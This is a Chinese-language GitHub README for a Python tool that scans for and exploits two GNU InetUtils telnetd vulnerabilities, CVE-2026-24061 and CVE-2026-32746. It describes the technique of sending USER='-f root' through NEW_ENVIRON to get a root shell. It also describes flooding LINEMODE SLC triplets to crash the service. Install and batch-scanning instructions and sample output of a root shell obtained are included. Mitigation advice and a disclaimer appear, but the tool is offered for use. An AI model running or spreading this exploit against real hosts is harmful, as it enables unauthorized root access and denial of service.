ekomsSavior/telnet_scan
GitHub: ekomsSavior/telnet_scan
针对 GNU InetUtils telnetd 的两个高危漏洞(认证绕过和缓冲区溢出)的 Python 扫描利用工具,可直接获取 root shell。
Stars: 1 | Forks: 2
# Telnet 漏洞扫描器 (CVE-2026-24061 & CVE-2026-32746)
[](https://github.com/ekomsSavior)
一个基于 Python 的安全评估工具,用于检测并(在适用情况下)利用 GNU InetUtils telnetd 中的两个关键漏洞:
- **CVE-2026-24061** – 通过 `USER` 环境变量注入绕过认证 (CVSS 9.8)
- **CVE-2026-32746** – LINEMODE SLC 处理程序中的预认证缓冲区溢出 (CVSS 9.8)
## 重要免责声明
**本工具仅供授权的安全测试和教育目的使用。**
针对您不拥有或未获得明确测试许可的系统的未经授权使用是非法的。作者不对因滥用本工具或造成的损害承担任何责任。使用风险自负。

## 功能
- **单目标扫描** – 在运行时输入 IP 地址或域名
- **批量扫描** – 上传包含多个目标的文件(每行一个)
- **选择性测试** – 单独测试任一漏洞或两者
- **CVE-2026-24061 利用** – 如果存在漏洞,该工具将直接在同一终端中为您提供一个交互式 root shell
- **CVE-2026-32746 检测** – 通过受控崩溃检测来识别易受攻击的系统
- **清晰的终端处理** – Raw 模式 shell,退出时正确恢复
- **连接验证** – 区分被过滤的端口、离线服务和实际漏洞
## 安装
```
git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
```
## 使用
### 基本执行
```
python3 telnet_scanner.py
```

### 单目标工作流程!
1. 选择选项 `1`
2. 输入目标(IP 或域名,例如 `192.168.1.100` 或 `example.com`)
3. 指定端口(如果留空,默认为 `23`)
4. 选择测试类型:
- `1` – 两个漏洞
- `2` – 仅 CVE-2026-24061(认证绕过)
- `3` – 仅 CVE-2026-32746(缓冲区溢出)
### 批量扫描工作流程
1. 创建一个包含目标的文件(每行一个)
示例 `targets.txt`:
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# 这是注释行 - 已忽略
2. 选择选项 `2`
3. 输入文件名
4. 指定端口(默认为 `23`)
5. 选择测试类型(1、2 或 3)
6. 扫描器将:
- 显示每个目标的进度
- 完成后立即显示结果
- 在最后提供一个汇总表
### 获取 Shell 后
如果 CVE-2026-24061 成功:
1. 检测到漏洞
2. **直接在同一终端窗口**中出现交互式 root shell
3. 输入命令并立即查看输出(例如 `id`、`whoami`、`ls`)
4. 按 `Ctrl+C` 退出 shell 并返回扫描器菜单
5. 对于批量扫描,系统将提示您是与 shell 交互还是继续扫描
无需单独的终端或额外步骤。
## 工作原理
### CVE-2026-24061 – 认证绕过
- 协商 `NEW_ENVIRON` Telnet 选项 (RFC 1572)
- 发送设置 `USER="-f root"` 的子协商
- 易受攻击的 telnetd 将此传递给 `/usr/bin/login`,从而绕过认证
- 授予直接的 root shell 访问权限
### CVE-2026-32746 – 缓冲区溢出检测
- 协商 `LINEMODE` 选项 (RFC 1184)
- 发送 500+ 个 SLC 三元组以溢出固定大小的缓冲区
- 监控连接断开/崩溃以确认漏洞
### 连接验证
- 在尝试利用前预扫描以验证服务可用性
- 区分:
- 被过滤的端口(防火墙阻止)
- 离线服务(无服务运行)
- 易受攻击的服务(利用成功)
## 示例输出
### 单目标
```
=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 1
Port (default 23):
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100
[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...
[*] Checking if service is reachable...
[+] Service reachable
[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
```
### 批量扫描
```
=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 2
Port (default 23):
Enter filename with targets (one per line): targets.txt
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
[*] Loaded 3 targets from targets.txt
==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable
[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
[?] Shell obtained! Interact now? (y/N): n
[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable
==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23
==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable
[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable
[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)
============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================
```
## 缓解措施
如果您发现易受攻击的系统,请应用以下修复:
1. 将 **GNU InetUtils** 升级到 2.8 或更高版本
2. **禁用 telnetd** 并在网络边界阻止 TCP/23
3. **限制访问**仅限受信任的网络
4. **监控日志**中 `NEW_ENVIRON USER` 值以 `-f` 开头的连接
## 已知限制
- 溢出测试 (CVE-2026-32746) 可能会导致目标 telnetd 服务崩溃
- 交互式 shell 中不完全支持箭头键和终端调整大小
- 某些防火墙或网络配置可能会干扰 Telnet 选项协商
- Windows 用户:交互式 shell 需要类 Unix 终端(WSL、Cygwin 或 Linux/macOS)

标签:CISA项目, CVE-2026-24061, CVE-2026-32746, GNU InetUtils, Python安全工具, Root Shell, SLC处理, Telnet漏洞扫描, 批处理扫描, 数据统计, 端口扫描, 缓冲区溢出, 编程工具, 网络安全评估, 认证绕过, 远程代码执行, 逆向工具